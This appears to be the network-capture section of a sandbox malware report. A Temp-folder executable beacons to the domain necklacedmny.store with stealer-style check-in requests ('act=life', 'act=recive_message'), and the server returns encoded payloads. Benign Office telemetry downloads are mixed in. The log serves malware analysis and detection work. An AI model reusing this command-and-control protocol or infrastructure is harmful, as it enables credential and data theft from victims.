Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	63854	188.114.96.3	443	1236	C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:19 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-02 06:16:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-02 06:16:20 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dm3sck6evsjl5jvbtckm3se1nr; expires=Wed, 26-Feb-2025 00:02:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YLBov2nMYNggcvmXepjHJKLP0yHYFUyAUHe25hOS12OmvIhbCC9JzP8m4ErQe5gmEiXAp7M%2BP6yg3Gzsvs70rInH1%2BAqogdhX%2BJeOQ%2FsQ87T8CEi1rsQJFY9dzRKB9KzYvnpCK4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dc1fec3fb8b4797-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1095&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2696461&cwnd=251&unsent_bytes=0&cid=61520665ac536728&ts=641&x=0"
2024-11-02 06:16:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-02 06:16:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	63855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:19 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:20 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:20 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 418c36ca-101e-008d-6d09-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061620Z-16dc884887btswlthC1DFWs7xw00000001ng00000000cgqd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:20 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	63857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:20 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:20 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:20 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 44d511d9-701e-000d-2909-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061620Z-16ccfc49897d4xzbhC1DFWg2yn00000001kg000000005015 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:20 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	63859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:20 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:20 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:20 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 87019636-c01e-0082-15c7-2caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061620Z-16ccfc4989744mtmhC1DFWr0ts00000001w0000000002k72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-02 06:16:20 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	63860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:20 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:20 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: faaa9be4-901e-002a-2d09-2c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061620Z-16ccfc49897wvnbhhC1DFWtfnn00000001n0000000006nfp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	63858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:20 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:20 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 20927b1b-001e-008d-724e-2cd91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061620Z-r159446fcd75kr2xhC1DFWqn5c00000001bg0000000036ve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:20 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	63861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:21 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:21 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 1d414214-201e-0003-4d32-2cf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061621Z-16ccfc49897wlhjjhC1DFWsx6c00000001pg0000000079hs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:21 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	63867	188.114.96.3	443	1236	C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:21 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-02 06:16:21 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-02 06:16:21 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=422ccmadqi71q7fumj7vesr7oe; expires=Wed, 26-Feb-2025 00:03:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FLBbNDXKsVmTFyL0%2FBFMR9ZnfiwIpbMJ3VvEolIImKd2TkxL7q%2FX78WvgFPtzbrMarcIpAgd8TlQfLgw%2B%2BZJQVHXBtceTB3UohfncmuSev4eFReucIVmVeKDfPS8ti2N4K8Qi3s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dc1fecd783aa924-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1613&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1821383&cwnd=201&unsent_bytes=0&cid=f44266afb4fcc30b&ts=706&x=0"
2024-11-02 06:16:21 UTC	352	IN	Data Raw: 34 65 30 0d 0a 50 77 52 64 50 6d 55 56 4f 4a 7a 6d 6d 66 57 39 77 75 64 48 68 63 2f 72 6f 5a 4e 59 79 48 2b 2f 68 67 62 57 66 4a 56 30 7a 49 74 45 4a 69 73 63 58 79 45 55 76 70 58 38 31 34 65 32 6c 54 4c 67 34 38 6e 41 39 33 72 79 47 64 37 71 64 62 4e 51 74 77 4b 68 71 51 56 69 50 46 49 57 63 42 53 2b 67 2b 48 58 68 35 6d 63 5a 65 43 68 79 5a 75 78 50 61 49 64 33 75 70 6b 74 78 66 36 42 4b 44 6f 56 32 67 36 56 67 42 32 58 50 32 4b 39 4a 44 59 70 34 59 74 36 36 61 47 79 66 35 36 35 46 33 61 2f 43 54 73 58 74 67 52 75 4f 70 79 5a 53 35 56 52 32 67 55 35 38 54 38 6d 35 2f 34 78 53 62 67 72 59 66 48 39 7a 4f 67 46 39 66 69 5a 62 49 57 35 52 32 71 34 31 64 6d 4f 56 63 4b 66 30 6a 77 67 50 4f 62 33 71 32 47 5a 61 6e 74 6a 74 75 78 59 75 70 4f 37 2b 64 31 70 51 Data Ascii: 4e0PwRdPmUVOJzmmfW9wudHhc/roZNYyH+/hgbWfJV0zItEJiscXyEUvpX814e2lTLg48nA93ryGd7qdbNQtwKhqQViPFIWcBS+g+HXh5mcZeChyZuxPaId3upktxf6BKDoV2g6VgB2XP2K9JDYp4Yt66aGyf565F3a/CTsXtgRuOpyZS5VR2gU58T8m5/4xSbgrYfH9zOgF9fiZbIW5R2q41dmOVcKf0jwgPOb3q2GZantjtuxYupO7+d1pQ
2024-11-02 06:16:21 UTC	903	IN	Data Raw: 47 65 6c 72 73 6a 50 43 63 32 72 4b 4f 4c 4f 71 67 69 63 37 37 4e 61 6b 64 32 75 35 75 75 78 54 7a 47 36 50 76 58 57 5a 2f 45 6b 64 77 51 72 37 63 75 37 54 61 73 49 49 70 38 65 2b 7a 67 2b 35 30 73 31 33 61 36 43 54 73 58 76 38 54 72 65 70 57 61 54 78 55 44 47 56 61 37 49 4c 32 6b 73 32 6d 67 43 76 74 72 70 76 4a 2f 7a 79 70 46 4e 62 74 59 62 4d 61 74 31 6a 75 37 6b 55 6d 5a 78 77 6d 65 6c 48 79 6a 75 79 58 6e 37 2f 4c 50 4b 65 71 68 59 4f 70 65 71 34 63 32 65 56 67 75 68 44 7a 47 71 6a 6e 55 47 6b 35 56 67 64 77 55 50 61 4d 2b 70 72 55 72 34 55 67 36 71 6d 50 7a 2f 41 2f 36 6c 4f 64 34 33 7a 30 52 72 63 34 71 65 70 50 4a 41 70 66 43 58 6c 64 36 4d 54 6b 32 63 62 67 67 69 6d 6e 39 63 6e 4e 39 44 57 34 48 4d 2f 68 61 71 59 53 38 68 43 6a 36 6c 4e 6d 4f 6c Data Ascii: GelrsjPCc2rKOLOqgic77Nakd2u5uuxTzG6PvXWZ/EkdwQr7cu7TasIIp8e+zg+50s13a6CTsXv8TrepWaTxUDGVa7IL2ks2mgCvtrpvJ/zypFNbtYbMat1ju7kUmZxwmelHyjuyXn7/LPKeqhYOpeq4c2eVguhDzGqjnUGk5VgdwUPaM+prUr4Ug6qmPz/A/6lOd43z0Rrc4qepPJApfCXld6MTk2cbggimn9cnN9DW4HM/haqYS8hCj6lNmOl
2024-11-02 06:16:21 UTC	1369	IN	Data Raw: 33 66 38 63 0d 0a 6a 66 4b 46 31 61 79 4c 4e 2b 71 6e 6a 4d 33 39 50 36 55 64 33 4f 56 71 76 68 57 33 57 4f 37 75 52 53 5a 6e 48 43 68 36 53 75 79 4f 38 49 61 64 6c 59 59 72 36 61 71 66 67 2b 35 30 73 31 33 61 36 43 54 73 58 76 77 51 6f 75 56 64 59 43 31 53 43 47 56 51 37 49 44 31 6b 39 4f 75 6a 43 6a 6f 71 4a 76 48 38 53 69 72 47 4e 72 71 61 61 59 62 74 31 6a 75 37 6b 55 6d 5a 78 77 39 51 31 33 75 6c 66 7a 56 36 71 4f 4c 4b 2b 43 37 79 64 79 2f 49 2b 6f 61 30 61 51 38 39 42 33 37 47 36 66 73 55 6e 51 31 55 41 5a 6c 58 66 65 4e 38 5a 62 52 72 34 34 70 34 72 2b 43 7a 50 6b 31 71 78 44 51 37 32 43 30 58 72 6c 57 71 66 45 64 50 6e 39 39 43 6e 68 49 2f 5a 57 35 6f 74 79 75 69 79 4c 78 37 5a 61 4e 36 48 71 74 45 5a 32 38 4a 4c 55 53 2b 78 65 68 37 31 64 75 50 Data Ascii: 3f8cjfKF1ayLN+qnjM39P6Ud3OVqvhW3WO7uRSZnHCh6SuyO8IadlYYr6aqfg+50s13a6CTsXvwQouVdYC1SCGVQ7ID1k9OujCjoqJvH8SirGNrqaaYbt1ju7kUmZxw9Q13ulfzV6qOLK+C7ydy/I+oa0aQ89B37G6fsUnQ1UAZlXfeN8ZbRr44p4r+CzPk1qxDQ72C0XrlWqfEdPn99CnhI/ZW5otyuiyLx7ZaN6HqtEZ28JLUS+xeh71duP
2024-11-02 06:16:21 UTC	1369	IN	Data Raw: 65 2f 6f 6e 77 6d 64 47 70 69 53 33 72 71 70 76 4f 39 44 4b 67 46 4e 6a 6f 61 62 63 4d 39 42 66 75 70 78 31 68 4a 78 78 66 4e 33 33 4e 73 39 6a 58 77 4f 36 63 5a 65 43 68 79 5a 75 78 4f 36 49 61 30 2b 42 32 75 67 7a 35 45 61 37 76 56 57 34 34 55 41 6c 35 53 50 61 46 2b 35 6e 51 71 49 77 68 35 71 6d 4e 7a 2f 5a 36 35 46 33 61 2f 43 54 73 58 74 38 56 74 50 4d 66 53 44 52 63 41 47 64 4d 35 63 54 6b 32 63 62 67 67 69 6d 6e 39 63 6e 48 2b 6a 43 6a 48 74 54 67 61 62 51 58 2b 42 2b 6d 35 46 56 30 50 6c 59 56 63 31 2f 2f 69 2f 47 54 31 36 79 4b 4b 65 4f 2f 67 6f 4f 2f 65 71 30 46 6e 62 77 6b 6c 42 58 68 4e 62 7a 37 48 58 6c 78 52 55 64 77 56 72 37 63 75 35 37 54 6f 59 51 76 34 61 61 4d 7a 76 45 2f 6f 42 72 52 35 47 53 33 47 50 45 62 70 75 46 52 61 6a 78 52 41 6e Data Ascii: e/onwmdGpiS3rqpvO9DKgFNjoabcM9Bfupx1hJxxfN33Ns9jXwO6cZeChyZuxO6Ia0+B2ugz5Ea7vVW44UAl5SPaF+5nQqIwh5qmNz/Z65F3a/CTsXt8VtPMfSDRcAGdM5cTk2cbggimn9cnH+jCjHtTgabQX+B+m5FV0PlYVc1//i/GT16yKKeO/goO/eq0FnbwklBXhNbz7HXlxRUdwVr7cu57ToYQv4aaMzvE/oBrR5GS3GPEbpuFRajxRAn
2024-11-02 06:16:21 UTC	1369	IN	Data Raw: 39 5a 62 5a 72 49 68 6c 71 65 32 4f 32 37 46 69 36 6a 72 48 36 57 4b 6a 44 38 49 52 72 72 67 64 65 58 46 46 52 33 42 57 76 74 79 37 6d 74 4f 71 69 43 44 6a 70 59 37 41 38 44 61 75 45 4e 44 67 62 62 41 62 35 51 53 6f 35 31 31 70 4d 56 4d 4c 5a 56 54 37 68 50 66 58 6b 65 43 43 50 61 66 31 79 66 4c 6d 4f 75 6f 43 6b 2f 30 6b 73 78 4b 33 54 75 37 6d 55 48 51 7a 55 77 64 32 57 66 71 50 2f 4a 48 5a 6f 59 59 67 35 4b 69 50 77 76 45 32 6f 42 72 56 37 6d 71 35 47 50 4d 51 71 4b 6b 54 4a 6a 68 45 52 79 38 61 7a 49 6e 31 6e 74 79 6d 69 44 50 50 6e 4d 6e 63 76 79 50 71 47 74 47 6b 50 50 51 61 2f 42 36 69 37 46 56 6a 50 6c 51 4e 66 31 58 78 6c 76 71 59 31 71 65 4f 4b 4f 69 6a 6a 4d 33 6a 50 61 45 57 31 65 31 71 73 6c 36 35 56 71 6e 78 48 54 35 2f 61 67 52 35 55 65 2b Data Ascii: 9ZbZrIhlqe2O27Fi6jrH6WKjD8IRrrgdeXFFR3BWvty7mtOqiCDjpY7A8DauENDgbbAb5QSo511pMVMLZVT7hPfXkeCCPaf1yfLmOuoCk/0ksxK3Tu7mUHQzUwd2WfqP/JHZoYYg5KiPwvE2oBrV7mq5GPMQqKkTJjhERy8azIn1ntymiDPPnMncvyPqGtGkPPQa/B6i7FVjPlQNf1XxlvqY1qeOKOijjM3jPaEW1e1qsl65VqnxHT5/agR5Ue+
2024-11-02 06:16:21 UTC	1369	IN	Data Raw: 61 47 4b 5a 61 6e 74 6a 74 75 78 59 75 6f 73 79 2b 4e 6a 75 31 7a 65 45 62 58 6f 56 32 55 30 55 45 64 6f 46 4f 66 45 2f 4a 75 66 2b 4d 55 6f 36 36 43 4e 30 66 30 36 71 68 54 61 37 6e 61 37 45 66 6f 56 72 75 78 50 5a 79 31 54 44 48 4a 5a 2b 6f 76 30 6d 39 65 71 78 57 75 6e 71 70 47 44 71 58 71 47 48 73 7a 75 4a 70 4d 45 34 52 47 69 2b 46 5a 72 4d 78 77 59 4f 55 4f 2b 67 2f 66 58 68 2b 43 46 4a 4f 71 2f 6a 4d 4c 37 4d 4b 63 56 30 75 46 68 75 78 72 7a 48 61 44 37 55 32 6b 2f 57 67 78 32 58 2f 32 50 38 5a 6e 57 73 73 56 72 70 36 71 52 67 36 6c 36 67 41 62 63 36 57 6a 32 4d 50 77 41 71 61 74 38 61 44 52 62 43 32 45 61 34 63 72 69 31 39 69 73 78 58 32 6e 70 49 66 50 38 6a 32 69 46 64 6a 6b 62 37 51 52 2f 52 69 70 2b 31 64 71 4e 55 34 49 64 46 66 36 69 66 47 53 Data Ascii: 